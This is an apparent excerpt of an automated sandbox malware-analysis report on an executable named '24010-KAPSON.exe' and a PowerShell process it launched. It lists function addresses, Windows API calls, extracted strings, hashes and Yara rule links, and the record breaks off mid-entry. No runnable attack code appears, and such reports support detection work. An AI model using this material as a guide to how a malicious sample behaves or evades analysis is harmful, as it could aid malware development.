Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction ID: 859fcd89679448da631e779a0da4808ed27405fda231041bc00783fb73730a7b
Opcode Fuzzy Hash: 599bd04a1195b132cf6b260ce9cfa8fb39e22d36c0f4a850b99e9cc2c8b8c615
Instruction Fuzzy Hash: 5DF0F925115D2325D722333A5D09AAF1544CF92358B49013FF895F22C1DA3C8A13CDBE

Function 0040640A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,?,00000000,?,?,Space required: ,?,?,00406699,80000002), ref: 00406450
RegCloseKey.ADVAPI32(?,?,00406699,80000002,Software\Microsoft\Windows\CurrentVersion,Space required: ,Space required: ,Space required: ,00000000,Completed), ref: 0040645B

Strings

Space required: , xrefs: 00406411

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CloseQueryValue
String ID: Space required:
API String ID: 3356406503-1411000802
Opcode ID: 1f60c3dd379916e57443516e286d32ee921c70d97c94d1f1c0559908eec8306d
Instruction ID: f0f89c662eeec8a22638327002db2d2d8046b3273e4fa87c0bc9f0af31e9764c
Opcode Fuzzy Hash: 1f60c3dd379916e57443516e286d32ee921c70d97c94d1f1c0559908eec8306d
Instruction Fuzzy Hash: E1017172510209EBDF218F51CC05FDB3BB8EB54354F01403AFD55A2190D738D964DB94

Function 00405E5D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030D4,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\24010-KAPSON.exe,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 00405E63
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030D4,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\24010-KAPSON.exe,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 00405E73

Strings

C:\Users\user\Desktop, xrefs: 00405E5D

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction ID: 42216084ebed45f2f1fcdcce66f7b00f69915d90115442600aae12f46dcfca4c
Opcode Fuzzy Hash: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction Fuzzy Hash: 65D05EB2401D209AC3226718DD04DAF73ACEF5134074A482AE582A61A4D7785E8186E8

Function 00405F97 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FBF
CharNextA.USER32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD0
lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: a453383ccec69260e8b6b46741f5159dab33bedf04c15e844a7af63cc501478c
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 02F06235105418EFD7029BA5DD40D9EBBA8DF06350B2540BAE840F7350D678DE01ABA9

Analysis Process: powershell.exePID: 6464, Parent PID: 6052COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04DC77F9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69949c6c574022816061c5aea432a57459ee12187212489a28ae94d6dcb2ad83
Instruction ID: 3bddc4b165bd7d84b910050c25ee15faa0864c290ed0c3dc829a734abf9c8e78
Opcode Fuzzy Hash: 69949c6c574022816061c5aea432a57459ee12187212489a28ae94d6dcb2ad83
Instruction Fuzzy Hash: 9B417F35A002468FDB19EB34C994AAE7BF6EF89350F04446DD506EB7A0DF34AD41CB90

Function 07AC63E8 Relevance: 16.0, Strings: 12, Instructions: 980COMMON

Download Yara Rule

Strings

(fyl, xrefs: 07AC7F7E
(fyl, xrefs: 07AC7F88
-jk, xrefs: 07AC717C
tPcq, xrefs: 07AC66D8
4'cq, xrefs: 07AC6541
tPcq, xrefs: 07AC66CC
4'cq, xrefs: 07AC6ECA
4'cq, xrefs: 07AC654D
4'cq, xrefs: 07AC76BF
x.jk, xrefs: 07AC714A
4'cq, xrefs: 07AC76CB
4'cq, xrefs: 07AC6ED6

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$(fyl$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$tPcq$tPcq$x.jk$-jk
API String ID: 0-115946065
Opcode ID: 5909a2fd0ee5c5cc770b6aa0829cb083a13cd17856228bd692b98f83371fbf0e
Instruction ID: 1c22356b9d1e20331bfe7a74a8daee635e55155c8a32e17a71305dd11de19e4b
Opcode Fuzzy Hash: 5909a2fd0ee5c5cc770b6aa0829cb083a13cd17856228bd692b98f83371fbf0e
Instruction Fuzzy Hash: 458290B4B00215DFDB24DB58C941BAABBB2BF84314F14C099D919AF396DB31ED81CB91

Function 07ACC327 Relevance: 14.7, Strings: 11, Instructions: 994
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(fyl, xrefs: 07ACD22B
x.jk, xrefs: 07ACCAA8
4'cq, xrefs: 07ACC879
-jk, xrefs: 07ACCADA
4vl, xrefs: 07ACCEFE
4'cq, xrefs: 07ACCFFC
4'cq, xrefs: 07ACC86D
4'cq, xrefs: 07ACD012
4vl, xrefs: 07ACCF08
x.jk, xrefs: 07ACD3E5
(fyl, xrefs: 07ACD215

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$(fyl$4'cq$4'cq$4'cq$4'cq$4vl$4vl$x.jk$x.jk$-jk
API String ID: 0-2050035676
Opcode ID: 50e853fbb91ef802116449b61f762e5d21652b9307fc4f2e4edbe0f35f4c3fc8
Instruction ID: f542a2a1fccc6ef265dde64602a23ac8a07d75d11831d00ced2f2f2f87f52a53
Opcode Fuzzy Hash: 50e853fbb91ef802116449b61f762e5d21652b9307fc4f2e4edbe0f35f4c3fc8
Instruction Fuzzy Hash: EA924FB4B002199FDB24DB58C951B9AB7B2FB85304F1081E8D919AF355CB72EE81CF91

Function 07AC819C Relevance: 10.3, Strings: 8, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x.jk, xrefs: 07AC84FC
-jk, xrefs: 07AC8541
4'cq, xrefs: 07AC8431
(fyl, xrefs: 07AC8253
4'cq, xrefs: 07AC84BC
4'cq, xrefs: 07AC843D
4'cq, xrefs: 07AC84B0
(fyl, xrefs: 07AC8249

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$(fyl$4'cq$4'cq$4'cq$4'cq$x.jk$-jk
API String ID: 0-3528051542
Opcode ID: 2872837b6a5675a1765bf5f428f5998a56fc903f51676a4d7d73a16e625edd26
Instruction ID: c1bbbaa0fc3ce867a307ef4f3fdeb5ee2d666934b5192d244daf2dcff6b39e69
Opcode Fuzzy Hash: 2872837b6a5675a1765bf5f428f5998a56fc903f51676a4d7d73a16e625edd26
Instruction Fuzzy Hash: 54D19DB0A00205EFDB14DB68D545BAEBBB3BFC4304F148429D9156F396CB7AED818B91

Function 07AC2070 Relevance: 5.6, Strings: 4, Instructions: 563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'cq, xrefs: 07AC23AE
4'cq, xrefs: 07AC23B8
4'cq, xrefs: 07AC2508
4'cq, xrefs: 07AC2512

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq
API String ID: 0-1446110543
Opcode ID: 1724b5d9d8eafca128794990bdef34aeb7658ec03410e50dc2a1bba8c3b12995
Instruction ID: 2248da1769d16c3c3f226809fbf2e19b70f71c4ba67b10a52d49874525f070dd
Opcode Fuzzy Hash: 1724b5d9d8eafca128794990bdef34aeb7658ec03410e50dc2a1bba8c3b12995
Instruction Fuzzy Hash: B30248B1B00206AFDB25DB68991176BBBA2BFC5310F14807EDA25DF2D1DB35C941C7A2

Function 07ACCCF9 Relevance: 5.4, Strings: 4, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4vl, xrefs: 07ACCEFE
4'cq, xrefs: 07ACCFFC
x.jk, xrefs: 07ACD3E5
(fyl, xrefs: 07ACD215

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$4'cq$4vl$x.jk
API String ID: 0-2073563701
Opcode ID: 9d2655dc66f342d214eeeccfaf96b34027785dc9c30191048094d9682d3daed4
Instruction ID: 07c266c05a52a82544ea2b68afab5c909e5c0ff14e265a70314dc60f46a87334
Opcode Fuzzy Hash: 9d2655dc66f342d214eeeccfaf96b34027785dc9c30191048094d9682d3daed4
Instruction Fuzzy Hash: E6122DB4B00219DFEB64DB18C951B9AB7B2BB85304F10C1E9D919AB355CB32ED81CF91

Function 07ACCCE3 Relevance: 5.3, Strings: 4, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4vl, xrefs: 07ACCEFE
4'cq, xrefs: 07ACCFFC
x.jk, xrefs: 07ACD3E5
(fyl, xrefs: 07ACD215

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$4'cq$4vl$x.jk
API String ID: 0-2073563701
Opcode ID: 1eb5856a835653c84e5b1bc7d049298fe1ae4b8cd7c78c76c65b2d033e544959
Instruction ID: cf4b8c6966b3ba8bde61759ba84881a65e7a0e5e5599925631e66ace13e63076
Opcode Fuzzy Hash: 1eb5856a835653c84e5b1bc7d049298fe1ae4b8cd7c78c76c65b2d033e544959
Instruction Fuzzy Hash: 85E11DB4B00219DFEB64DB18C951B9AB7B2BB85304F1081E9D919AF355CB32ED81CF91

Function 07AC7212 Relevance: 4.4, Strings: 3, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-jk, xrefs: 07AC717C
4'cq, xrefs: 07AC6ECA
x.jk, xrefs: 07AC714A

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$x.jk$-jk
API String ID: 0-3549362391
Opcode ID: b4afaab5dc7154aff0a889ab1892ebb44539dca0fc21716d0704204b84860b63
Instruction ID: 66a84e532c4b83a77b062aaf445201f8c3ca274a55a1a5e3769e3d501b92516b
Opcode Fuzzy Hash: b4afaab5dc7154aff0a889ab1892ebb44539dca0fc21716d0704204b84860b63
Instruction Fuzzy Hash: 6E525FB4B00215DFEB20DB18C941BA9BBB2BB84314F15C099D959AF392DB71ED81CF91

Function 07ACCB73 Relevance: 4.4, Strings: 3, Instructions: 621
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x.jk, xrefs: 07ACCAA8
-jk, xrefs: 07ACCADA
4'cq, xrefs: 07ACC86D

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$x.jk$-jk
API String ID: 0-3549362391
Opcode ID: ee12f86d303b5df8f0b1ecb4e769eb341899873c7c66492e163ee79e0c47b5ae
Instruction ID: f9e7f9e6894a622e9e1490b34fa9c52bfe27949fb4503c4f5eeeb5b72bedfa79
Opcode Fuzzy Hash: ee12f86d303b5df8f0b1ecb4e769eb341899873c7c66492e163ee79e0c47b5ae
Instruction Fuzzy Hash: 23425174B012189FDB14DB58C951B9ABBB2EB89304F10C0D9D919AF352CB72ED81CF91

Function 07AC7323 Relevance: 4.2, Strings: 3, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-jk, xrefs: 07AC717C
4'cq, xrefs: 07AC6ECA
x.jk, xrefs: 07AC714A

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$x.jk$-jk
API String ID: 0-3549362391
Opcode ID: c246b162e825d5b66bf124e01116fee5e90fee81650c571808af386f2f36d2f1
Instruction ID: 4c493cf2c1f9bb57a9e1f170c2e41847c373045b084fa48238fc9a4c17a7d6fc
Opcode Fuzzy Hash: c246b162e825d5b66bf124e01116fee5e90fee81650c571808af386f2f36d2f1
Instruction Fuzzy Hash: 4E2240B4A00215DFEB24DF18C941BA9BBB2BB84314F11C099D959AF392CB71ED85CF91

Function 07ACCC5A Relevance: 4.2, Strings: 3, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x.jk, xrefs: 07ACCAA8
-jk, xrefs: 07ACCADA
4'cq, xrefs: 07ACC86D

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: 4'cq$x.jk$-jk
API String ID: 0-3549362391
Opcode ID: ef58eea68468d705db1ec83ce8d450181fa8554f5b1c87a678b83083400ef189
Instruction ID: 80a7595cd796dece2fbdce87e80df15e20653df6c3f970b3f9ffd74c525b8f88
Opcode Fuzzy Hash: ef58eea68468d705db1ec83ce8d450181fa8554f5b1c87a678b83083400ef189
Instruction Fuzzy Hash: DD124174B012189FDB14DB58CD51B9ABBB2EB89304F1084D9D9196F392CB72EE81CF91

Function 07AC3E00 Relevance: 3.9, Strings: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$cq, xrefs: 07AC3E67
$cq, xrefs: 07AC3E23
$cq, xrefs: 07AC3E5B

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq
API String ID: 0-2085107096
Opcode ID: a4765062e84d90c4f46068952e5cf91382965b20f4ba679e38af0629f65f46b7
Instruction ID: 7586ebd308fd9a2dacbc62746b790f4800088e6878b89eb6c7a00709fc7bc9aa
Opcode Fuzzy Hash: a4765062e84d90c4f46068952e5cf91382965b20f4ba679e38af0629f65f46b7
Instruction Fuzzy Hash: 554125B6B00216EBCF24DB6DD84126BF7F5AFC5210B14C42EC825EB245DE31D94187E2

Function 07AC44B0 Relevance: 3.8, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$cq, xrefs: 07AC450C
$cq, xrefs: 07AC44C2
$cq, xrefs: 07AC4518

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq$$cq
API String ID: 0-2085107096
Opcode ID: e57f8bee9cadd022b536c9225d61d1432c4fa36a206403e3a18bd9facc49a1f0
Instruction ID: 2061e61106bc5b3359ec2cd9756b691408e0171065b092f159526adcf474a34b
Opcode Fuzzy Hash: e57f8bee9cadd022b536c9225d61d1432c4fa36a206403e3a18bd9facc49a1f0
Instruction Fuzzy Hash: B9218BB271028A6BEB30C6799910B23BEE69BC9315F24803EDE25CB381DD31CC418325

Function 07AC8F80 Relevance: 2.7, Strings: 2, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(fyl, xrefs: 07AC90BA
(fyl, xrefs: 07AC90C4

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl$(fyl
API String ID: 0-1745260987
Opcode ID: 80603fdbf65bdcf3eda5d99907a3178f0079c95ff5c59681aa4bc9adc6b9f7b5
Instruction ID: 0cbec0f082d64eb4f107a558776745c3fd329463e8a8ea58c05eb02fe15d00d8
Opcode Fuzzy Hash: 80603fdbf65bdcf3eda5d99907a3178f0079c95ff5c59681aa4bc9adc6b9f7b5
Instruction Fuzzy Hash: 3C9192B0A00205EFDB14DB58D546AABBBF3AF89314F158069D815AF356CB32ED41CBA1

Function 07AC4490 Relevance: 2.6, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$cq, xrefs: 07AC450C
$cq, xrefs: 07AC44C2

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: $cq$$cq
API String ID: 0-2695052418
Opcode ID: 8a03276c4ee0490e2307c739ffa4941656a59bea28403ca297ada3c71f1785d8
Instruction ID: 8cf49f2d7bbe9778587bde54328ca8ba36adfa36afdd8e07c80f5ec9b79853f0
Opcode Fuzzy Hash: 8a03276c4ee0490e2307c739ffa4941656a59bea28403ca297ada3c71f1785d8
Instruction Fuzzy Hash: 94215BB52053C56BEB31CA6559207627FB14FCA314F29409EDE248F2D2D9298D54C33A

Function 08F1B250 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08F1B2B2

Memory Dump Source

Source File: 00000002.00000002.2375177534.0000000008F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f10000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: db7d3394efbd971ae74ae5fc1f93ec2c35698de6e22f66425fd2574d8c21c2ac
Instruction ID: 2a72168b2bb2770c1715d8faa8d0528920dcf709ffc96489c835142fa020fef9
Opcode Fuzzy Hash: db7d3394efbd971ae74ae5fc1f93ec2c35698de6e22f66425fd2574d8c21c2ac
Instruction Fuzzy Hash: 6511F2B5900249CFCB10DFAAD984B9EFBF8EF88320F24841AD518A7350C774A944CFA5

Function 07AC8F79 Relevance: 1.5, Strings: 1, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(fyl, xrefs: 07AC90BA

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID: (fyl
API String ID: 0-2992701587
Opcode ID: 67d8444032c6a247fdf2e3ddc66ed0a7e7a725fcec27ef5e37bde2a064067f4d
Instruction ID: f9730eeeb6d0830693a141b0d70af5f9d991f4c4d2fbc32f72257bfc8f8f924b
Opcode Fuzzy Hash: 67d8444032c6a247fdf2e3ddc66ed0a7e7a725fcec27ef5e37bde2a064067f4d
Instruction Fuzzy Hash: 61818FB4A00205EFD714CF98D145A9BBBF2BF89314F158069D915AF352CB72ED41CBA1

Function 07AC45D8 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f27e3d839d268a0b16fb67fa4fe59647056d28245f804ada12cf01d9f58811
Instruction ID: 37c0436391452aaebf999191265eacb52fed36b3afdfdd38f546f6817919c3f4
Opcode Fuzzy Hash: c2f27e3d839d268a0b16fb67fa4fe59647056d28245f804ada12cf01d9f58811
Instruction Fuzzy Hash: 76326AB0B00205AFDB14DB98D551B9EBBF2BF89304F24C069E919AF355CB72EC418B91

Function 07AC45BC Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2368722612.0000000007AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde6f608fdcf456410d079c8c4160eb5caa9ef8372a98dbb8c19c09d371eb166
Instruction ID: 986ac95edb9ea0399e19a0766f218386fe31efd14852614a9c4915659e302013
Opcode Fuzzy Hash: cde6f608fdcf456410d079c8c4160eb5caa9ef8372a98dbb8c19c09d371eb166
Instruction Fuzzy Hash: 43227AB0B00245AFDB10CF98D591F99BBB2BF89314F25C099E925AB355CB72EC418B90

Function 04DCB958 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cdf91959a6f5a0136688999b6238294367b9964a203d8c3a92f07964f019256
Instruction ID: 6147488b143028c626fca8e227f63e8fac310e60eb83455bf30465d1c6668fad
Opcode Fuzzy Hash: 4cdf91959a6f5a0136688999b6238294367b9964a203d8c3a92f07964f019256
Instruction Fuzzy Hash: C4D1E674A0020A9FDB05DF98D585AADFBB2FF88310F24855AE845AB365C771FD81CB90

Function 04DC72A0 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2360064546.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c243d8f0be4503df2fa1dfaebd1de4597db7acb711707195a0e70934ca8ab6f
Instruction ID: 3c64f2d8b5ea2e5f2544dfacc2b3dfe0d78462d9242159294b7fca4b41da5617
